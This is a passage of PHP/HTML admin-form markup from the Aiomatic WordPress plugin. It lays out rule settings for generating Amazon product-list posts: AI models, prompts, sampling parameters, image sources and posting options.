class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="tag_model" name="aiomatic_amazon_list[tag_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[default_tags][]" value="" placeholder="Please insert your additional post tags here" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_tokens][]" value="" placeholder="2048" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_seed_tokens][]" value="" placeholder="1000" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_continue_tokens][]" value="" placeholder="500" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_amazon_list[temperature][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_amazon_list[top_p][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_amazon_list[presence_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_amazon_list[frequency_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free Featured Image Importing Options' section.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Set A Featured Image For Posts (Select Source Below):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="royalty_free" name="aiomatic_amazon_list[royalty_free][]" class="cr_width_full"> <option value="0"><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2" selected><?php echo esc_html__("Random Amazon Product Thumbnail", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition" name="aiomatic_amazon_list[search_query_repetition][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images" onchange="hideImage('');" name="aiomatic_amazon_list[enable_ai_images][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="4"><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="3"><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">A high detail image with no text of: "%%post_title%%"</textarea> </td> </tr> <tr class="hideDalle cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model" name="aiomatic_amazon_list[image_model][]" class="cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_amazon_list[image_size][]" class="cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea class="cr_width_60p" rows="1" name="aiomatic_amazon_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)"></textarea> <input class="cr_width_33p aiomatic_image_button" type="button" value=">>>"/> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_amazon_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_amazon_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_amazon_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Keyword Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_amazon_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_amazon_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[strip_by_regex][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_amazon_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_amazon_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_amazon_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_amazon_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_amazon_list[parent_id][]" value="" placeholder="Post parent ID" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_amazon_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_amazon_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this 